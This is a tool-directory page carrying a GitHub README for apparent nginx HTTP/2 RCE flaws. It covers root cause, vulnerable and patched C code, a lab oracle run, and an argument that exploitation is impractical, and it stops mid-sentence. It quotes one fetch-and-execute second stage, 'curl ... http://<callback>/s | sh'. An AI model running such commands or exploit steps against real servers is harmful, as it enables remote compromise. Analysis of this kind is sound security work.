Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-123007 — Root-cause analysis, reproduction lab, and PoC tooling for nginx HTTP/2 RCE flaws CVE-2026-123007 and CVE-2026-123633, including a low-cost oracle and exploitability limits. | Kitploit
Tools/GitHubGitHub/im0xfay/cve-2026-123007
Web Vulnerability ScannersVulnerability AnalysisExploitationWeb SecurityNetwork SecurityPenetration TestingPapers & ResearchLearning & EducationLabs & Practice
GitHubim0xfay/cve-2026-123007

CVE-2026-123007

Root-cause analysis, reproduction lab, and PoC tooling for nginx HTTP/2 RCE flaws CVE-2026-123007 and CVE-2026-123633, including a low-cost oracle and exploitability limits.

1 day agoNot yet reviewed
View Repository

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    1.0k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    593
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    371
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    336
  • 5

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    326
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    322

Explore all tools

Browse our collection of tools

View all tools →
Share

nginx2shell — CVE-2026-123007 / CVE-2026-123633

============================================================
  im0xfay x Cyber Alpha Labs
● CVE-2026-123007 / CVE-2026-123633
● NGINX2SHELL (nginx HTTP/2)
  flow-control underflow + reusable-connection UAF
============================================================

Analysis, reproduction lab, and tool for two pre-auth RCEs in nginx HTTP/2 ("nginx2root"), released November 18, 2026.


Read this first — the honest conclusion

This repo is not a weapon. It is a record of why this CVE, despite its CVSS 9.2 and actually achieving RCE in the lab, is not viable as an operational attack.

If you find a page like site/nginx2shell.php on the internet and conclude "someone successfully exploited nginx2shell here" — that conclusion is almost certainly wrong. The explanation is below.

After reading everything, the assessment we hold:

The value of this CVE is as learning material, not as a tool. The bug is beautiful (a three-line integer underflow in flow-control accounting), but the cost of execution (119 GiB per attempt) far exceeds the result (a 120-byte command channel).


1. Root cause — two distinct bugs

CVE-2026-123007 — CWE-191 integer underflow (ngx_http_v2_filter_module.c)

nginx's HTTP/2 flow-control accounting can refund DATA credit twice.

/* ngx_http_v2_filter_cleanup() — versi 1.31.8 (rentan) */
for ( ;; ) {
    frame = *fn;
    if (frame == NULL) break;
    if (frame->stream == stream && !frame->blocked) {
        *fn = frame->next;
        window += frame->length;      /* menjumlah SEMUA frame stream ini */
        if (--stream->queued == 0) break;
        continue;
    }
    fn = &frame->next;
}
h2c->send_window += window;           /* refund tanpa batas cek */

The chain:

  1. When a DATA frame is queued, credit is already deducted (h2c->send_window -= frame_size).

  2. While that frame is still queued (TCP backpressure), the client sends WINDOW_UPDATE.

  3. Credit increases. The frame still holds its credit. Then the request completes / RST_STREAM → filter_cleanup refunds the credit of the frame that is still queued.

  4. h2c->send_window now exceeds NGX_HTTP_V2_MAX_WINDOW (0x7FFFFFFF).

  5. The guard on the WINDOW_UPDATE path reads roughly:

    if (window > NGX_HTTP_V2_MAX_WINDOW - h2c->send_window) { /* protokol error */ }
    

    Because send_window is already > MAX, the right-hand side is negative — and in size_t (unsigned 64-bit) negative means it wraps to ~2^64. The comparison passes. The guard is dead.

  6. The absurd credit enters ngx_http_v2_send_chain, and the result of its calculation is cast to off_t (signed) → negative. get_shadow() produces last < pos, then ngx_ssl_send_chain calls memcpy/memmove with a length of ~2^64 → OOB write.

Patch 1.31.9 — three lines of logic:

+ h2c->send_queued += frame_size;     /* catat kredit yang masih ter-queue */
+ h2c->send_queued -= frame->length;  /* kurangi saat frame benar-benar terkirim */
+ h2c->send_queued -= window;         /* kurangi saat refund */

- window += frame->length;
+ if (frame->handler == ngx_http_v2_data_frame_handler) {
+     window += frame->length;        /* refund hanya untuk DATA frame */
+ }

The new send_queued field ensures accounting can never exceed the actual credit, and refunds are limited to DATA frames only (header/trailer frames have different credit semantics).

CVE-2026-123633 — CWE-416 use-after-free

A connection with partial HEADERS is marked ngx_reusable_connection(c, 1) (anti-DoS mechanism), but create_stream never clears that flag. drain_connections then closes the connection while it is still serving a request → memory is freed while still in use.

Patch: one line — ngx_reusable_connection(h2c->connection, 0).


2. Why this cannot be done over the internet (the most important part)

There are five gates, and almost all real targets fail at one of them.

Gate 1 — HTTP/2 must be enabled

Without http2 on, this bug does not apply at all. Tested in the lab:

poc.py -u https://127.0.0.1:19443/ --oracle --no-alpn
  BLOCKED  nginx=1.31.8  no HTTP/2 negotiated (in CVE-2026-123007 range); 123007 needs h2

Versions fall within the vulnerable range, but without h2 it still does not apply. A scan that only reads Server: nginx/1.31.8 cannot conclude vulnerability.

Gate 2 — CDN severs the path (the main killer)

This chain requires DATA frames to flow to the real nginx worker with genuine TCP backpressure on that path. Cloudflare, Akamai, and the like terminate / manage HTTP/2 at the edge.

As a result: backpressure occurs at the CF edge, not at the origin. The attack condition never forms. For targets behind a CDN, the correct verdict is BLOCKED — origin not exposed, not "possibly vulnerable".

Almost all modern large sites are behind a CDN. This alone drastically shrinks the target population.

Gate 3 — 119 GiB transfer cost

Not a typo. Full RCE requires ~119 GiB plaintext sent to the target, at ≥300 Mbit/s to finish in ~4 minutes (keepalive_timeout of 1 hour is the ceiling).

At 4 Gbit/s, one attempt ≈ 230 seconds / 119 GiB. If it fails at the leak stage, the entire 119 GiB is wasted and must be repeated.

For comparison, the oracle (proving vulnerability without RCE) requires only ~50 seconds / ~10 MB.

Gate 4 — bound to the target's glibc, not yours

This is the most commonly misunderstood part.

What determines whether the OOB write can become RCE is the copy routine in the target nginx worker's C library: whether it wraps the length 2^64 - delta or rejects it.

target worker glibcResult
2.41PRIMITIVE_PRESENT — OOB write occurs → RCE path open
2.43PRIMITIVE_ABSENT — copy rejected → crash/DoS only

The glibc on the attacker's machine is entirely irrelevant. Consequently:

  • A scan must not conclude "not vulnerable" from PRIMITIVE_ABSENT on its own host.
  • An oracle hit on a target with glibc 2.43 is still VULN, but escalation stops at DoS.
  • RCE strategy is not portable: it is bound to a specific binary + libc combination of the target. "The version is vulnerable" is not enough — a matching profile must exist.

Gate 5 — the worker heap must be clean

A worker that has already served traffic has a dirty heap; the over-credit cleanup sequence is rejected with GOAWAY(FLOW_CONTROL_ERROR). The tool gives the verdict ASSUMED — dirty heap; restart target and retry, not SAFE. This means the target must be freshly restarted, and there must be no other traffic on the same path while the attack runs.


3. So what if someone says "it worked"?

There are three very different levels of "worked", and people often call the cheapest one the most expensive:

LevelCostEvidenceMeaning
1. Oracle~50 s, ~10 MBcleanup over-credit confirmedVulnerability proven. Not RCE.
2. DoS~10 MBworker SIGSEGV / restartServer can be taken down. Not RCE.
3. RCE119 GiB, ≥300 Mbit/sid → uid=33(www-data)Code execution + requires the 5 gates above.

Furthermore: even with RCE, the result is not a .php file in the webroot. The command channel is limited to 120 bytes (heap.command_max_bytes), so a two-stage channel is used — the target runs curl -s -m 90 http://<callback>/s | sh (41 bytes) to pull the second-stage script.

Practical conclusion: if someone claims a successful "nginx2shell" on a public site, ask for these three pieces of evidence:

Download Tool